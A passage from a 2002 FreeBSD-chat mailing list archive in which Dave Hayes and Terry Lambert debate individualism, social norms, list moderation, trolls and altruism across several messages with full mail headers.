which it apparently is. ;) ------ Dave Hayes - Consultant - Altadena CA, USA - dave@jetcafe.org >>> The opinions expressed above are entirely my own <<< I'd like to see a nude opera, because when they hit those high notes, I bet you can really see it in those genitals. To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-chat" in the body of the message From owner-freebsd-chat Sun Sep 1 9:31:11 2002 Delivered-To: freebsd-chat@freebsd.org Received: from mx1.FreeBSD.org (mx1.FreeBSD.org [216.136.204.125]) by hub.freebsd.org (Postfix) with ESMTP id 34B1437B400 for ; Sun, 1 Sep 2002 09:31:08 -0700 (PDT) Received: from hokkshideh2.jetcafe.org (hokkshideh2.jetcafe.org [64.239.180.8]) by mx1.FreeBSD.org (Postfix) with ESMTP id AF18B43E6A for ; Sun, 1 Sep 2002 09:31:07 -0700 (PDT) (envelope-from dave@jetcafe.org) Received: from hokkshideh2.jetcafe.org (localhost [127.0.0.1]) by hokkshideh2.jetcafe.org (8.11.6/8.11.6) with ESMTP id g81GV5143577; Sun, 1 Sep 2002 09:31:05 -0700 (PDT) (envelope-from dave@hokkshideh2.jetcafe.org) Message-Id: <200209011631.g81GV5143577@hokkshideh2.jetcafe.org> X-Mailer: exmh version 2.5 07/13/2001 with nmh-1.0.4 To: Terry Lambert Cc: "Neal E. Westfall" , chat@FreeBSD.ORG Subject: Re: Why did evolution fail? Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Date: Sun, 01 Sep 2002 09:31:00 -0700 From: Dave Hayes Sender: owner-freebsd-chat@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.org Terry Lambert writes: > Dave Hayes wrote: >> I claim you should not worry about what others do, your focus should >> be on what YOU do, and that will maximize gain for you and (somewhat) >> society. You appear to claim that we have to focus on what OTHERS do >> and controlling them achieves more gain for you and society. > > How can individuals cooperate to achieve common goals, if everyone > acts as you would have them act? By what system? Eh? Why does this position imply that individuals cannot cooperate? How can individuals cooperate at all if they do not focus on what they do as a first priority? >> > My own objection to this is, first and foremost, that the rights >> > of the state take precedence of the rights of the individual, as >> > the state is composed of individuals, and the yardstick we must >> > therefore use is that of the greatest good for the greatest number. >> >> I claim you can't know that yardstick. > > Then allow me to operate on the principle of successive > approximation, Measuring the greatest good is not done using any continuous increasing space of quantative measure. It's not even mathematical. You just can't "measure" or "know" this or usefully map it to any remotely rational or linear process. Approximations, in fact, may do more harm than good. > and, when or if you come up with a better yardstick, I can siwthc to > using it instead. It's not -my- responsibility to do -your- duty. ;) >> It wasn't intended to succeed or fail, actually. It was intended to >> demonstrate. What I failed to realize was that, for a demonstration to >> be effective, it must fall on fertile eyes and ears. > > In order for a system top operate indefinitely, it must achieve > homeostasis. IYHO. ;) ------ Dave Hayes - Consultant - Altadena CA, USA - dave@jetcafe.org >>> The opinions expressed above are entirely my own <<< Man is most nearly himself when he achieves the seriousness of a child at play. To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-chat" in the body of the message From owner-freebsd-chat Sun Sep 1 9:34:49 2002 Delivered-To: freebsd-chat@freebsd.org Received: from mx1.FreeBSD.org (mx1.FreeBSD.org [216.136.204.125]) by hub.freebsd.org (Postfix) with ESMTP id 4F6F937B400 for ; Sun, 1 Sep 2002 09:34:46 -0700 (PDT) Received: from snipe.mail.pas.earthlink.net (snipe.mail.pas.earthlink.net [207.217.120.62]) by mx1.FreeBSD.org (Postfix) with ESMTP id EBC5643E4A for ; Sun, 1 Sep 2002 09:34:45 -0700 (PDT) (envelope-from tlambert2@mindspring.com) Received: from pool0091.cvx21-bradley.dialup.earthlink.net ([209.179.192.91] helo=mindspring.com) by snipe.mail.pas.earthlink.net with esmtp (Exim 3.33 #1) id 17lXgM-0001P9-00; Sun, 01 Sep 2002 09:34:38 -0700 Message-ID: <3D72415D.3F1B220E@mindspring.com> Date: Sun, 01 Sep 2002 09:33:33 -0700 From: Terry Lambert X-Mailer: Mozilla 4.79 [en] (Win98; U) X-Accept-Language: en MIME-Version: 1.0 To: Dave Hayes Cc: Dominic Marks , Kris Kirby , chat@FreeBSD.ORG Subject: Re: Why did evolution fail? References: <200209011613.g81GDn143323@hokkshideh2.jetcafe.org> Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Sender: owner-freebsd-chat@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.org Dave Hayes wrote: > > Not really; it just changes the order of purchase for the items > > you put on your shopping list. > > There's a case of rapidly diminishing space on this planet for the > people that are on it. I'd say that existing "societies" are aware of > this fact, and use that as a justifier to make sure that no one > can go find their own island. The price for the Tongan Navy as US$1M; seems to me that if you had bought them first, the problem would not have arisen... > > I presume you know "The Barometer Story"? > > You'd be presuming wrong. Here is the original: http://www.aiglon.ch/archive/meds/ajl.shtm And here is a more literately amusing, though fictionalized, version: http://168.229.236.7/~rkc1/baro.txt -- Terry To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-chat" in the body of the message From owner-freebsd-chat Sun Sep 1 10:38:55 2002 Delivered-To: freebsd-chat@freebsd.org Received: from mx1.FreeBSD.org (mx1.FreeBSD.org [216.136.204.125]) by hub.freebsd.org (Postfix) with ESMTP id 607F437B400 for ; Sun, 1 Sep 2002 10:38:50 -0700 (PDT) Received: from pintail.mail.pas.earthlink.net (pintail.mail.pas.earthlink.net [207.217.120.122]) by mx1.FreeBSD.org (Postfix) with ESMTP id EE19943E3B for ; Sun, 1 Sep 2002 10:38:49 -0700 (PDT) (envelope-from tlambert2@mindspring.com) Received: from pool0586.cvx22-bradley.dialup.earthlink.net ([209.179.200.76] helo=mindspring.com) by pintail.mail.pas.earthlink.net with esmtp (Exim 3.33 #1) id 17lYgQ-0007N1-00; Sun, 01 Sep 2002 10:38:47 -0700 Message-ID: <3D72505B.FF2B5345@mindspring.com> Date: Sun, 01 Sep 2002 10:37:31 -0700 From: Terry Lambert X-Mailer: Mozilla 4.79 [en] (Win98; U) X-Accept-Language: en MIME-Version: 1.0 To: Dave Hayes Cc: "Neal E. Westfall" , chat@FreeBSD.ORG Subject: Re: Why did evolution fail? References: <200209011631.g81GV5143577@hokkshideh2.jetcafe.org> Content-Type: text/plain; charset=iso-8859-1 Content-Transfer-Encoding: quoted-printable Sender: owner-freebsd-chat@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.org Dave Hayes wrote: > Terry Lambert writes: > > Dave Hayes wrote: > >> I claim you should not worry about what others do, your focus should= > >> be on what YOU do, and that will maximize gain for you and (somewhat= ) > >> society. You appear to claim that we have to focus on what OTHERS do= > >> and controlling them achieves more gain for you and society. > > > > How can individuals cooperate to achieve common goals, if everyone > > acts as you would have them act? By what system? > = > Eh? Why does this position imply that individuals cannot cooperate? > How can individuals cooperate at all if they do not focus on what they > do as a first priority? It doesn't imply they can't, it implies they won't. Chaos, cheating and cooperation: potential solutions to the Prisoner's Dilemma Bj=F6rn Brembs http://www.brembs.net/ipd/ Also (a bit lighter in the loafers, for people not into formal games calculus): http://www.Princeton.EDU/~mdaniels/PD/PD.html You have to take "OTHERS" into account; it's not about "controlling them", it's about communication. If you take the tack that you are "out for yourself", then you lose. Understanding the Prisoner's Dilemma, you are half way to understanding why Objectivisn is not a long term success strategy, and why you should license your code under a BSD license, rather than the GPL. 8-). > > Then allow me to operate on the principle of successive > > approximation, > = > Measuring the greatest good is not done using any continuous > increasing space of quantative measure. It's not even mathematical. You mean "I don't know the math which would enable me to model that correctly". 8-). That doesn't mean that the math does not exist (it does). > You just can't "measure" or "know" this or usefully map it to any > remotely rational or linear process. Approximations, in fact, may do > more harm than good. Dr. Jay Phippen predicted, *from theory*, the energy bounds for the W particle (among other things), very early on -- as part of his PhD work at Utah State University. I have the very good fortune to have been permitted by him to later work on the code, converting it to "C", and making it run on other than Cray computers, in the 1980's and continuing on until the early 1990's, as I was pursuing degrees in theoretical physics, applied mathematics, and computer science. This code used an approximation method called a "Monte Carlo Algorithm" to simulate pair production events, as a result of N-P and N-N collisions; the physics, in this case, was to use theory to discard "illegal" pairs, and then sort the remaining particles into buckets whose size was no smaller than the error bounding. Definition (NIST : http://www.nist.gov/dads/HTML/monteCarlo.html ) Monte Carlo Algorithim - A randomized algorithm that may produce incorrect results, but with bounded error probability. = Respectfully: a tool may only do "more harm than good" if it is used by someone who does not know how to use it correctly. > > and, when or if you come up with a better yardstick, I can siwthc to > > using it instead. > = > It's not -my- responsibility to do -your- duty. ;) How did it become my *duty*? Are you implying a belief in the Social Contract? 8-). > >> It wasn't intended to succeed or fail, actually. It was intended to > >> demonstrate. What I failed to realize was that, for a demonstration = to > >> be effective, it must fall on fertile eyes and ears. > > > > In order for a system top operate indefinitely, it must achieve > > homeostasis. > = > IYHO. ;) Definitionally. -- Terry To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-chat" in the body of the message From owner-freebsd-chat Sun Sep 1 11: 2:53 2002 Delivered-To: freebsd-chat@freebsd.org Received: from mx1.FreeBSD.org (mx1.FreeBSD.org [216.136.204.125]) by hub.freebsd.org (Postfix) with ESMTP id 3AAA637B400 for ; Sun, 1 Sep 2002 11:02:26 -0700 (PDT) Received: from hokkshideh2.jetcafe.org (hokkshideh2.jetcafe.org [64.239.180.8]) by mx1.FreeBSD.org (Postfix) with ESMTP id 3E62F43E65 for ; Sun, 1 Sep 2002 11:02:25 -0700 (PDT) (envelope-from dave@jetcafe.org) Received: from hokkshideh2.jetcafe.org (localhost [127.0.0.1]) by hokkshideh2.jetcafe.org (8.11.6/8.11.6) with ESMTP id g81I2N144217; Sun, 1 Sep 2002 11:02:23 -0700 (PDT) (envelope-from dave@hokkshideh2.jetcafe.org) Message-Id: <200209011802.g81I2N144217@hokkshideh2.jetcafe.org> X-Mailer: exmh version 2.5 07/13/2001 with nmh-1.0.4 To: Terry Lambert Cc: chat@FreeBSD.ORG Subject: Re: Why did evolution fail? Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Date: Sun, 01 Sep 2002 11:02:18 -0700 From: Dave Hayes Sender: owner-freebsd-chat@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.org Terry Lambert writes: > Dave Hayes wrote: >> Perhaps we can disagree about what the adverse condition is, but >> this doesn't have any bearing on whether adverse conditions cause >> evolutionary pressure. I (and most of evolutionary science) claim >> it does, you claim it doesn't, none of us can prove it either way >> to the others' satisfaction, lets move on. > > All evolutionary pressure is, by definition, focussed on exclusion > from the set of reproductive elements. You keep implying that it > is a positive, rather than a negative feedback loop. It's you who > are arguing with the majority of evolutionary scientists. Heaven forbid I be reduced to a religious argument. ;) > The simple fact is that recessive genes are never removed from the > gene pool, only individuals in which they express are removed. If a gene exists in an organism but isn't expressed, isn't that effectively the same as removing it? >> Yes, it seems that way. However, I have all the hope in the world. I'm >> working on myself. When I can fail to contribute to those things >> completely, neither supporting nor opposing them, I will have arrived >> at my destination. > > "Good luck to you, oh fellow traveller". You can't be seriously implying you are on this same road... >> > Of course. Society defines morality. >> >> Don't confuse "morality" with "the right way". Sure, society defines >> morality, but morality does not define "the right way". It defines >> "the way society expects you to be or they will get multiple people >> with big sticks to beat you up". These are not equivalent. > > I disagree. It speaks to the consensus definition of "right" and > "wrong". So 2000 people come up to you with big sticks and tell you they will beat you up unless you admit the earth is flat. >> >> The ones that break out and forcibly reproduce are the best suited to >> >> survival in hostile environments. By definition even. >> > >> > Nature seems to vote against that one. >> >> How so? > > By evolving creatures who imprison or kill peers who engage in > forcible reproductive acts, thereby ensuring their removal from > the gene pool. Actually that evolves the creatures who engage in forcible reproductive acts, by forcing them to do this such that they are not caught. Arguably, this makes them quicker and more efficient. It could also be that is evolving the skill of verbal manipulation such that the opposite gender is mentally hypnotized into reproduction. Such trances have been known to last 4-5 years, which would explain the statistica peak in divorces at that length of relationship. >> Bah. You presume the external reality is more important. I find it >> ironic (and a part of the great comedy we call "Earth") that you waste >> brain memory knowing obscure attributions of random Zen quotes...and >> yet this is somehow more important to you than the actual philosophy >> the quote points at. > > External reality can act to take away our access to any reality, > external or internal. You have to accomodate that fact, even if > you dislike it. Nonsense. Mental institutions with catatonics are a good counter example. > As to what I choose to remember, well, it's not like I have to > forget one thing to remember another. Irrelevant to the point, of course. >> > Accessory after the fact, receiving stolen property, etc.. >> >> All those are attempts by society to make you tow the party line >> even if you aren't taking action when a "bad" activity occurs. > > Yes, they are. > >> So your point was...? > > Society has power over its members, even if they refuse to > acknowledge that fact intellectually, they must acknowledge it > physically. They have to find you first. In that, there is the balance of power. >> > And we punish them, and That's The Way It Is. >> >> You don't catch all of them, and That's The Way It Is. So society is >> inefficient at best. > > You only need to catch enough of them to keep their numbers under > the multiplicative threshold necessary for them to displace the > current society. The successful (i.e. not caught) ones reproduce and pass their skills on to their offspring. Displacement is not necessary if you can live within and be unnoticed until time to act. >> You cannot force someone to cooperate, that's oxymoronic. Someone >> either cooperates or is coerced. There isn't any other real state. > > Coerced cooperation is still cooperation. From society's viewpoint maybe. Not from the individual's. >> > [ ... society is inmically trying to make people over into good citizens ... ] >> >> It is, and I'm extremely paranoid. Good security people always are. >> > >> > That's a big "whatever". >> >> Wow, no snappy comeback! I must be making a dent in that wall of >> "useless rationality" you have. > > Hardly. Awww. ;) > It's merely not worth the effeort to drag an admission out > of you, since it serves no larger purpose to perform the work. If > you were in fact paranoid, as you claim, then you you would be able > to rationalize any argument against your inherently paranoid nature, > and there would be no possibility of accomodation. You forget to take this one step further. I don't need to rationalize, I know who and what I am. Arguments against my nature are irrelevant and obviously wrong. ;) >> >> Am I? Dishonesty towards the self is the root cause of unawareness. >> > >> > Can you prove that? >> >> Not without first proving that the notion of proof has validity. > > I'll accept the validity of proof for the sake of argument, so you > can proceed without first proving it, if you want... ;^). That would go against rigor. ;) >> > I already suggested an abandoned oil righ in the North Atlantic; >> > must I think of everything? ;^). >> >> That won't work. Some insurance company with hundreds of lawyers will >> come out and claim that rig someday. Where else? Mars might work but >> in a few hundred years might not. Where can I be free of lawyers? > > First, there is already an individual who has colonized an oil rig > in the North Atlantic in this fashion. It was fairly widely reported > about four weeks ago. This person hasn't been challenged yet? Amazing. > Second, finding a location where you can be free of lawyers is > *your* problem, not mine. Sorry. It's everyone's problem. If you disagree with this, I'll litigate. ;) > If Mars will work, then by all means, go there. If the reason it > won't work in a few hundred years is the encroachment of Earth's > society, then there's always force of arms (I hear there are large > Illudium Q-36 deposits in the polar regions... ;^)). That was a 'space modulator'. ;) > If the reason is that once societies grow large enough, your ideas > will not work, well, I guess your ideas lose. It's humanity that loses. >> > No, it's not. Define a third catagory for this particular case, >> > without using negation of the union of the other two. >> >> How about "my argument is valid within the context of a certain >> frame of reference, and invalid otherwise"? > > Since all arguments take place in a frame of reference, this is > tautological. Therefore, it is true. ;) > [ ... totalitarian societies eventually stagnate ... ] >> > You've asserted it, but not proven it. >> >> It's not provable. There are literally millions of twisty little >> societies, all different. > > If it's not provable, then it's not true. This is false but I won't prove it. ;) > All things which are true are, at least eventually, provable. I disagree, and you can't prove that. |) >> > And I think trolls should find their own community, and quit >> > bothering ones where they're not welcome. It's unlikely either >> > of us will ever get our way. >> >> Well I contend that, to the society of trolls, YOU are a sociopath. ;) > > Luckily for me, I suppose, that I do not live in a society of > trolls. Don't you? I suppose we could talk about superposition of societies on the internet... >> > You're right. We should block their manipulations! >> >> Yes, internally to ourselves...where the block has a chance of being >> effective. > > If it didn't have a chance of being effective externally, you > would not so vehemently argue against external blocking, since > an ineffective block is a transparent membrane. It doesn't have a chance of being effective against blocking trolls, but it does have a chance of stifiling communication...which is why I get so vehement. > [ ... technological solutions to the troll problem ... ] >> >> I'd definately consider writing the hack that breaks such code. ;) >> > >> > Eventually, the code would be correct, even if your implied premise >> > here is that it doesn't start out that way. >> >> Yes, my hack would be correct, and allow people a different perception >> of EACH mailing list on the planet with no censorship. > > The problem is N-P incomplete. Implement you code and prove me > wrong. I sure hope I don't have to. >> >> > Your position is counter species-survival. >> >> >> >> So say you. Yet it works for me. I don't feel it is my duty to >> >> interfere in certain matters between humans. Where I come from, >> >> this is called "being nosy". >> > >> > Where I come from, it's called social conscience. >> >> Gee, we must come from different places. Why is your way more right? > > It works? Not where I come from. If you attempt interference, you suddenly have problems you didn't before. > and your previous attempts to demonstrate "your way" have resulted in > failure? Which ones would those be? > [ ... Is trolling SPAM? ... ] >> > So... ask the list, since that's the society whose context matters >> > for this discussion. >> >> I think we've both -been- asking the list for some time now, in a >> roundabout way of course. > > Then the list has *already* responded. You initial posting was an > attempt to challenge that response. On a voting majority basis, it's > basically 17:2 (you and the troll being the two). What? I haven't seen -any- responses to this issue. >> >> > A troll whose posting is blocked does not have his postings >> >> > destroyed, nor are they paineted over; they are merely forced >> >> > to another venue. >> >> >> >> This destroys the future postings in that venue. >> > >> > Yes, you're right. There are many actions which risk consequences; >> > if you don't want the consequences; like stepping off a cliff risks >> > gravity hurtling you onto the rocks below. I don't see this as a >> > problem. >> >> I do. I want to read those posts. > > So subscribe to the venue in which they are permitted to be posted, What venue would that be? =P > What you really mean to say here is that you want *us* to have to > read these posts, as well, and therefore the only suitable venue in > which the posts can take place is *these lists*... IYHO. Not exactly. What I really want to see is you *responding* to those posts. In that lies the information that I consider just as valuable as the regular traffic. However my real position is against any sort of moderation, not because of these responses, but because of the chilling effect moderation has on the information flow in the list. >> > Well, as far as Rosseau is concerned, you're welcome to be born >> > into a different society. 8-). >> >> Oh, I have a choice now? >> I thought you were a rationalist or objectivist or something like >> that? > > Rational humanist; definitely not "objectivist". Wow, this explains much (presuming you fit the accepted consensual definition of "rational humanist", which I suspect you don't). If I remember correctly, this category of people disdains taking ethical or moral guidance from supernatural or mythological beings (e.g. "God"), preferring instead to resolve dilemnas of this nature with reason and rationality. Is this your position as well? > The ability to read Ayn Rand, IMO, should require a license, which > you obtain by proving your ability to distinguish charactratures > from reality. 8-). ROFL! Well said, actually. >> > It's not a popularity contest, it's a topicality litmus test. >> >> The notion of "on-topic" can be highly subjective. So you don't bore >> both of us with citing the extrema, I'm referring to those posts that >> reasonable people (that means neither of us) can disagree about >> topicality. Sometimes these posts have good information. I don't feel >> it's appropriate to risk that information JUST because someone pays >> upwards of a penny per message to download it. > > I can agree with that, no problem. > > Now please demonstrate how a troll posting to -hackers fits within > the list charter by any stretch of the imagination. A demonstration is inappropriate. My position is against moderation (not "pro-troll" as I have been arguing). I recognize you want to remove trolls. What I don't like about any sort of moderation is that it chills the expression of information. Some information will be lost, from those who don't wish to risk having their posts placed before moderation. Some say this is good, I say I'd rather wade through a lot of posts. Now don't get me wrong, I still do like troll postings (and moreso, their responses). However, I would agree with banning email addresses after the second posting as you have suggested, because this does not involve moderation. > before, it fits the charter of -chat, no problem (you will notice > that when I respond on this topic, I response only in -chat). You'll notice I began my commentary in "-chat". You'll also notice I told people that I would stop bantering with you if asked. Just because I'm having fun doesn't mean they are. ;) >> > A *mutual* altruism network. We aren't talking "gifts" here, we >> > are talking the equivalent of stone soup. >> >> That's not real altruism, so I can't really understand what you are >> talking about. > > I'm talking about a mutual altruism network. The concept of "mutal > altruism" is not identical to the concept "altruism", or I would not > have needed to use the adjective "mutual" to modify "altruism" in > order to communicate what I meant. It must have some similarity, however, because you are modifying the original concept of "altruism". Your modifier makes no sense to me, since it would seem to be oxymoronic...like "smart politician", "excellent microsoft software", or "polite troll". ;) >> >> If the altrusim being networked is fake, then the honorable thing to >> >> do is to post your conditions and expectations BEFORE giving the gift >> >> to give the recipients the chance to accept or reject the conditions >> >> and expectations...e.g. "No trolls". >> > The altruism is real; you seem to be objecting to the context. >> >> It can't be. Real altruism doesn't require mutuality. > > The context is mutuality. You sound like Joy Beech, leader of > "The Citizens For True Freedom" (as opposed to the "false freedom" > that all the rest of us seem to be up for...). Well, he's right. I daresay we all have "false freedom", no matter how much we wish to believe we have real freedom, irrespective of country. > If you are going to insist on "Real Altruism", I don't insist on that in any context. > then I'm going to have to deny a desire to participate in your > proposed society, and oppose your attempts to change the societies > in which I already participate into your proposed society. Good god. I'm not trying to create a proposed society (horrors) and really the only change I can be accused of making is wanting to resist efforts to moderate certain FreeBSD lists. (I've long ago stopped wanting to oppose moderation on the net as a general rule.) > On the other hand, I have no problem whatsoever with you creating > your own mailing list server and establishing your proposed society > on that server, instead. I'd just bet this is false. By your definition of "social conscience" you have a moral obligation to make sure my society is adhering to your rules...er..."consensual standards of decency". So you would have to interfere by your own definitions. >> >> If the altruism being networked is real, trolls aren't a topic by >> >> definition (no strings, remember?). >> > >> > They can have the benefits of altruism outside the context of >> > the mutual altruism network. Just not mine. 8-). >> >> Hey, it's your gift. You can take it back any time you want. > > I'm not taking it back. My gift is not the object itself, but a > license to use the object under certain preconditions. 8-). Ghod. You are going to now assert that we have to be licensed to use the FreeBSD lists? Are you sure you don't work for the US Govt? >> > In the future, society will send in little robots to rearrange their >> > neurons so that they no longer need to be racists. They won't be >> > who they were, they will be wholly different people, but, by your >> > logic, these wholly different people would have the same right to >> > exist as the racists had, so there would be no net loss of freedom, >> > or even anarchy, if we did that, right? 8-). >> >> *slaps hand to forehead, drags slowly down face* > Don't panic. Society will only do it if you *act* on your racism. The panic comes from the implication that society has the right to reform us in the image they want. I find this abhorrent and evil. >> > "Any place trolls are not" could be the Schelling point I choose >> > to create. >> >> No such place. Next? > > Don't be so quick to dismiss the idea that I could wilfully create > such a place in the noosphere. I'm sure you could create your own perfect section of net society. I'm also sure that it would deviate from perfect the moment you created it. >> > I'm pretty sure branding a big "I" on their forehead wouldn't work. >> >> It might piss them off enough to lock you in a room with 10 of >> them. ;) > > If there were 10 and them and 1 of me, then I'd be the troll, and > they'd be the society being trolled. And would your principles apply then? ;) >> > The troll can already do this. It's the obvious escalation of >> > an effective immediate-no-repeat-posting-by-source mechanism. >> >> Very intersing. I would have no substantative objection (which won't >> stop me from objecting on principle) to this, given a troll can get >> an infinite source of email accounts. > > "Hotmail". Hopefully this will exist for some time. However, it's safe to assume that someday it will go away. Next? ;) >> > Then the answer becomes moderation of the ability to post in the >> > first place, as a counter-escalation. If the troll can't/won't >> > take a hint that strong, then you go to a mutual trust network to >> > establish posting rights ("Bob can post because I can post, and I >> > trust Bob"). >> >> On this road lies the stagnant community. USENET has hundreds of >> moderated examples of these, as we both appear to know. > > A stagnant community is one in which no forward progress is > possible, due to the preponderance of trolls, since it is their > nature to disrupt the society's ability to act, even in the > direction of forward progress. And herein lies the problem > with permitting trolls. That is not the definition I was using. A stagnant community is one in which no forward progress is possible, due to the fascism and fixed ideas inherent in the community, since new ideas will be quickly stifled as against the status quo, even if these ideas are topical and in the direction of forward progress. And herein lies the problem with moderation. ;) >> >> > No faith required. >> >> >> >> Yes there is. As mathematics is taught, you have to take certain >> >> things on faith before you learn enough. >> > >> > Mathematics is not a Science, mathematics is a language. Even >> > meets the language requirement, at some universities. >> >> Inane triviality which dodges the point almost as well as I can. >> You really are my mirror. I never thought I'd see another one of >> me out there. Gee. > > Your point is that I must have fait in my axioms. I will accept > that. But since I have exactly 8 axioms, and know very well what > they are, it's unlikely that you will be able to arrive at them > by means of guessing, even if that guessing is educated. Only 8? Amazing. What are they? >> >> Trolls really do communicate data. >> > >> > Noise is not data. >> >> Yes it is, it's just not the data you are expecting. > > Or not data I want, Sure, I can accept you are filtering out the data you want from the raw stream that's out there. Just remember one man's Noise is another man's Data. > because it is not representitive of repeatable empirical > observations? Trolls are not repeatable empirical observations? Have you ever made a study of them? >> > Treating your statement again, in this context: there is no manifest >> > destiny for the Internet, however much you might wish that this were >> > not the case. It is merely a communications medium. >> >> IYHO. >> >> IMEO, there is a manifest destiny for humans to be able to communicate >> with each other without some authoritarian gibbert telling them how >> they can and cannot speak. > > That's a use to which you personally want to put a communications > medium, No, that's a use that I observe is necessary. > That doesn't make it the manifest destiny of the Internet, merely > because of your opinion of the manifest destiny of human kind. As has been demonstrated to me many times in my life, my opinion hardly matters. There are those who agree with this use of the internet and those who disagree. The reason I argue that this is necessary has a lot to do with the ease of ignoring something you don't like on the internet. >> The internet is the most likely choice at this time. > > Perhaps it is. That's irrelevent to the issue of trolls on a > particular set of mailing lists, since you can freely create your > own mailing lists and realize your vision. The subtle straw man of "go create your own island" again raises it's ugly head. >> > Stop waiting and act to create it. Get your trolls, script kiddies, >> > and exploiters to help you. >> >> At the moment, I have other things to do (like participating in this >> tennis game we call "chat"). My time will come, and I will act >> impeccably. Then I will leave and let others do their job. > > For heaven's sake, don't let *me* keep you! Why not? It's my choice of excuse. ;) >> Consider. YOU lobbed the first volley at me. I'm enjoying myself, I >> haven't had a good usenet style debate in ages. But by the same token, >> I have no delusions that I am swaying you of anything other than >> thinking I am a fool. > > You were the one who posted in favor of trolls. Oh I see. Naturally, that forced you to post. I get it. ;) > It was you who lobbed the first volley against the established > social norm of the society in which your posting was made. What established social norm? >> > I'm willing to reciprocate that, but it's probably a lost cause >> > given "there is no such thing as an acceptable proof". >> >> I'm actually quite convincable given a rational argument which accepts >> that everything we work with is assumption. However, I don't think you >> are capable (I could be wrong), and this is the wrong forum. > > The forum is FreeBSD-chat, and we are talking about FreeBSD mailing > lists and the policies thereof. It's topical to the forum, and > anything that is topical to a forum is not incorrect. Like I said, I don't think that this is the correct forum. > As for swaying me, you need only work logically from mutually > accepted first principles. I don't think swaying you is appropriate. Besides, what would I do with my email time? ;) > Unfortunately, you have this Utopian ideal in mind, and I do not > share your ideal, because, so far, you have failed to provide me > any reason to accept the ideal as my own. I don't -want- to convince you. If I want anything, it's for you to arrive at this ideal yourself in your own way without any real external pressure to do so. Only then can I be sure you truly understand what I am talking about. Everyone, in their own way, will arrive there sooner or later...and then they will move on after that. > As long as you continue to argue from a premise of an as yet > unjustified goal state, you will probably find it difficult to find > anyone to agree with you who did not arrive at the same ideal on > their own. Granted, and happily accepted. ;) >> > Yes. Violence advocated by society is, by definition, not sociopathic. >> > "Be All That You Can Be". >> >> You are presuming One True and Right Society. I bet Iraq has something >>> to say about the sociopathy of the American armed forces... > > Not applicable, unless there is a shared reference frame. I > don't think "socipath" is the appropriate term in this context; > I think the one the Iraqi's themselves have chosen is "Great > Satan"... 8-). "Satan", "sociopath"...what's the difference? Evil has many names, but the root of the concept is still the same. ;) >> Ok, you are fascinated by these trolls and your fascination lies in >> how to get rid of them. >> >> It's still my opinion you are angry and holding that anger from your >> own view. But I can settle for fascinated. > > Thanks. I would rather solve the class of problems, of which trolls > are a member, then address the problem of individual trolls. If > nothing else, there are economies of scale. 8-). You think there is an entire -class- of problems, of which trolls are a member? *shudder* Do you get out much? (I don't, and now I'm thinking maybe I should...) ;) >> > Let's just say that it's my single vote, out of the crowd. >> >> WOO HOO finally I get him to back off of the "I speak for everyone" >> thing. *chalk* > > I never claimed to speak for everyone, merely the faction which > agreed with my sentiments, and was not speaking themselves > because they felt I was doing an adequate job. Remember, on the internet saying anything which relies on the validity or existence of "all those unspoken supporters" is always considered false. > You were the one who insisted on converting an "us" into "the royal > Us". If I had intended it that way, I would have capitalized it. > 8-). I don't think you consciously intended it that way. I think it came out in the wash...so to speak. Social conscience, remember? >> Human judgement doesn't repair itself without the chance to be >> defective. > > Diseased branches can kill a tree if they are not pruned. That's evolutionary pressure on the tree. |) >> Indoctrination produces robots. Education produces real human beings. >> Real human beings have good judgement. > > Robots are just as good a mechanism for the solution of social > ills. A person robotically avoiding proscribed behaviours that > are detrimental to the larger society has the same effect as a > "real human being" who avoids the behaviours, not because they > are proscribed, because of their knowledge that the behaviours > would be detrimental. Well then, why not just build your perfect society out of robots? As their first act, you could have them kill all humans...because humans sometimes do not avoid proscribed behaviors. > Regardless of your opinion of modern education (it can hardly be > lower than my own), Don't presume please. ;) > to the society, it is the effect of the results on the society that > matter. The ends justify the means? > A society no more cares for its individual members than you > care for the individual cells which make up your body. The individuals care, in both cases. I'm sure you'd care a lot if attending a Christian Church was mandated on Sundays... >> > On the other hand, isolation of 100% of infected individuals is 100% >> > effective in stopping the spread of any epidemic. >> >> And dishonorable to those individuals. Do you realize that you are >> taking the position of the haughty master, claiming that everyone >> that doesn't act as he wants them to should be isolated and locked up? > > That's an extreme overstatement of my position, on the basis of > one of a set of possible solutions to the problem. I thought absurda was "ok" in your book? >> > Feel free to point out "new data" like this --> new data <--, to >> > ensure clarity. 8-). >> >> --> WAKE UP, you're asleep! <---- > > --> I don't BELIEVE you because you refuse to offer proof! <-- --> How can I talk, much less prove anything, to a sleeping man? <--- =) ------ Dave Hayes - Consultant - Altadena CA, USA - dave@jetcafe.org >>> The opinions expressed above are entirely my own <<< A thing is true only when and where it holds true. Something is true in accordance with its context. No context means no truth...in the sense in which human thought understands it. To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-chat" in the body of the message From owner-freebsd-chat Sun Sep 1 11:11:46 2002 Delivered-To: freebsd-chat@freebsd.org Received: from mx1.FreeBSD.org (mx1.FreeBSD.org [216.136.204.125]) by hub.freebsd.org (Postfix) with ESMTP id BB80437B400 for ; Sun, 1 Sep 2002 11:11:43 -0700 (PDT) Received: from hokkshideh2.jetcafe.org (hokkshideh2.jetcafe.org [64.239.180.8]) by mx1.FreeBSD.org (Postfix) with ESMTP id 6011543E72 for ; Sun, 1 Sep 2002 11:11:43 -0700 (PDT) (envelope-from dave@jetcafe.org) Received: from hokkshideh2.jetcafe.org (localhost [127.0.0.1]) by hokkshideh2.jetcafe.org (8.11.6/8.11.6) with ESMTP id g81IBY144315; Sun, 1 Sep 2002 11:11:34 